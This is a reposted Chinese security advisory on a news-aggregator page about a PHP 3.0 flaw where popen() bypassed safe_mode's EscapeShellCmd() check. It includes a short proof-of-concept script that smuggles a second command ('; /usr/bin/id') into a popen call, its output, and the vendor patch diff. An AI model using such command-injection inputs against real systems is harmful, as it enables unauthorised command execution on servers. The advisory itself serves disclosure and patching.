php3.2_PHP3 safe_mode 失效漏洞

更新时间:2019-09-10 来源:热门资讯 点击:

【www.hzclsc.cn--热门资讯】

受影响的系统: PHP 3.00 

--------------------------------------------------------------------------------

描述:

 

 PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了

PHP的特色。这个语言可以让web开发者快速创建动态网页。

 

 因其执行在web服务器上并允许用户执行代码,PHP内置了称为"safe_mode"的安全特性,

用于控制在允许PHP操作的webroot环境中执行命令。

 

 其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()

函数,此函数用于确认在webroot目录外部不能执行命令。

 

 在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可

以利用"popen"系统调用进行非法操作。

 

--------------------------------------------------------------------------------

测试程序:

 

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

<?php

$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");

echo "$fp<br>n";

while($line = fgets($fp, 1024)):

printf("%s<br>n", $line);

endwhile;

pclose($fp);

phpinfo();

?>

 

输出结果如下:

 

1

total 53 

-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls 

uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup) 

and from the configuration values of phpinfo():

safe_mode 0 1 



--------------------------------------------------------------------------------

建议: 

Index: functions/file.c

===================================================================

RCS file: /repository/php3/functions/file.c,v

retrieving revision 1.229

retrieving revision 1.230

diff -u -r1.229 -r1.230

--- functions/file.c 2000/01/01 04:31:15 1.229

+++ functions/file.c 2000/01/03 21:31:31 1.230

@@ -26,7 +26,7 @@

| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |

+----------------------------------------------------------------------+

*/

-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */

+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */

#include "php.h"

#include <stdio.h>

@@ -51,6 +51,7 @@

#include "safe_mode.h"

#include "php3_list.h"

#include "php3_string.h"

+#include "exec.h"

#include "file.h"

#if HAVE_PWD_H

#if MSVC5



@@ -575,7 +576,7 @@

pval *arg1, *arg2;

FILE *fp;

int id;

- char *p;

+ char *p, *tmp = NULL;

char *b, buf[1024];

TLS_VARS;

 

@@ -600,7 +601,11 @@

} else {

snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);

}

 

- fp = popen(buf,p);

 

+

+ tmp = _php3_escapeshellcmd(buf);

+ fp = popen(tmp,p);

+ efree(tmp); /* temporary copy, no longer necessary */

+

if (!fp) {

php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));

RETURN_FALSE; 


本文来源:http://www.hzclsc.cn/news/27364.html

为您推荐

dnf鬼泣新buff换装|dnf鬼泣BUFF换装如何搭配 dnf起源版鬼泣BUFF换装搭配攻略

您的位置:首页 → 网游资讯 → dnf资讯 → dnf鬼泣BUFF换装如何搭配 dnf起源版鬼泣BUFF换装搭配攻略 dnf鬼泣BUFF换装如何搭配 dnf起源版鬼泣BUFF换装搭配攻略时间:201dnf资讯

2021-02-25 18:54:41   dnf鬼泣buff换装95   地下城鬼泣buff换装  

dnf流年鬼泣装备_dnf鬼泣起源版本装备搭配推荐 dnf黑暗君主起源版本加点攻略

2月1日DNF起源版本正式更新了,这次更新全职业平衡性将进行调整,所以这个版本DNF黑暗君主起源版本怎么加点?DNF黑暗君主起源版本用什么装备好?下面小编为大家爱带来了DNF黑暗君主起源版本加点攻略dnf资讯

2021-02-25 18:54:41   dnf鬼泣装备推荐   dnf鬼泣毕业装备  

【dnf黄金雄鹰图腾怎么升级】dnf黄金雄鹰图腾怎么得 黄金雄鹰图腾出现概率介绍

DNF游戏中成功建造传说图腾的小伙伴可以一次性拿到20个图腾精华,而普通的和特殊也才只给到6个,是普通 特殊的3倍还多,难怪这么多的玩家追求黄金雄鹰图腾了,毕竟有了它,组合出传说的概率非常的高。 为dnf资讯

2021-02-25 18:54:41  

[dnf起源剧情]dnf起源版本公会改动一览 dnf起源版本公会有哪些变动

全新的起源版本已经到来,这次改版的改动很大,甚至有些小伙伴都在游戏中迷路了,那么在全新的起源版本中公会有哪些变化呢?下面就让我们一起去了解一下DNF起源版本公会改动吧! DNF起源版本公会改动一览起dnf资讯

2021-02-25 18:54:41  

德特尔兽人族|dnf兽人族的特别宝物礼盒有什么 兽人族的特别宝物礼盒选择建议

兽人族的特别宝物礼盒打开后,可以在两种宝物礼盒中选择一种,远古兽人族的神秘宝物礼盒、兽人族英雄的宝珠礼盒,很多小伙伴不知道怎么选择才好,小编今天带来一篇DNF兽人族的特别宝物礼盒选择建议,希望大家喜dnf资讯

2021-02-25 18:54:41   怪物猎人世界老练的兽人族学者   兽人族永不为奴除非